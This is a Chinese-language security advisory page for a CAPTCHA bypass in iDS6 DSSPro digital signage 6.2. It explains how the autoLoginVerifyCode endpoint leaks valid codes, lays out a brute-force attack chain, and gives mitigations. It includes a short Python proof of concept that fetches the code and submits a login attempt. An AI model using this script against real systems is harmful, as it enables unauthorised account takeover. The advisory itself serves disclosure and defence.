IPBUF安全漏洞报告
English
CVE-2020-37228 CVSS 9.8 严重

CVE-2020-37228 iDS6 DSSPro验证码绕过漏洞

披露日期: 2026-05-16

漏洞信息

漏洞编号
CVE-2020-37228
漏洞类型
认证绕过
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
iDS6 DSSPro Digital Signage System

相关标签

验证码绕过认证绕过暴力破解iDS6数字标牌

漏洞概述

iDS6 DSSPro数字标牌系统6.2版本存在严重的验证码安全绕过漏洞。攻击者可以通过请求特定的接口对象获取有效的验证码,进而绕过旨在防止自动化攻击的安全机制。利用此漏洞,攻击者能够对系统用户账户实施高效的暴力破解攻击,导致未经授权的系统访问。

技术细节

该漏洞的根本原因在于iDS6 DSSPro数字标牌系统的验证码生成与验证逻辑存在严重设计缺陷。系统在处理登录请求时,并未对验证码的获取接口进行严格的访问控制,允许攻击者通过直接请求`autoLoginVerifyCode`对象来获取服务器端生成的有效验证码文本。这种设计完全违背了验证码用于区分人类和机器的初衷。由于该漏洞的CVSS 3.1评分为9.8,且攻击向量为网络(AV:N),无需任何权限(PR:N)和用户交互(UI:N),攻击者可以轻易地编写自动化脚本。该脚本能够持续轮询特定端点,实时获取验证码,并结合用户名字典进行高效的暴力破解攻击。一旦攻击成功,攻击者即可获得合法用户账户的访问权限,进而完全控制受影响的数字标牌设备,导致敏感信息泄露、系统完整性被破坏以及可用性丧失。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描网络,识别出目标为iDS6 DSSPro Digital Signage System 6.2版本。
STEP 2
2. 获取验证码
攻击者向服务器发送请求,访问`autoLoginVerifyCode`对象接口,直接获取当前有效的验证码文本,绕过图片识别。
STEP 3
3. 暴力破解
攻击者利用获取到的验证码,结合用户名和密码字典,向登录接口发送大量登录请求。
STEP 4
4. 获取权限
一旦匹配到正确的用户名和密码,攻击者即可成功登录系统,获得用户权限,执行后续恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests target_url = "http://target-ip/login" # Hypothetical endpoint based on description captcha_api = "http://target-ip/api/autoLoginVerifyCode" def exploit(): try: # Request the valid CAPTCHA code directly print("[*] Attempting to retrieve CAPTCHA...") response = requests.get(captcha_api) if response.status_code == 200: # Assuming the API returns the code directly in text or JSON captcha_code = response.text.strip() print(f"[+] Retrieved CAPTCHA code: {captcha_code}") # Use the retrieved code to perform brute-force login payload = { "username": "admin", "password": "password123", # Replace with dictionary word "verifyCode": captcha_code } login_resp = requests.post(target_url, data=payload) if "Login successful" in login_resp.text or "dashboard" in login_resp.text: print("[+] Exploit successful! Authentication bypassed.") else: print("[-] Login failed. Credentials might be incorrect.") else: print(f"[-] Failed to contact CAPTCHA API. Status: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": exploit()

影响范围

iDS6 DSSPro Digital Signage System 6.2

防御指南

临时缓解措施
建议管理员在应用补丁前,通过网络ACL限制登录页面的访问来源IP,并开启强密码策略。同时,密切监控系统日志,检测是否存在异常的大量登录尝试或对`autoLoginVerifyCode`接口的频繁请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表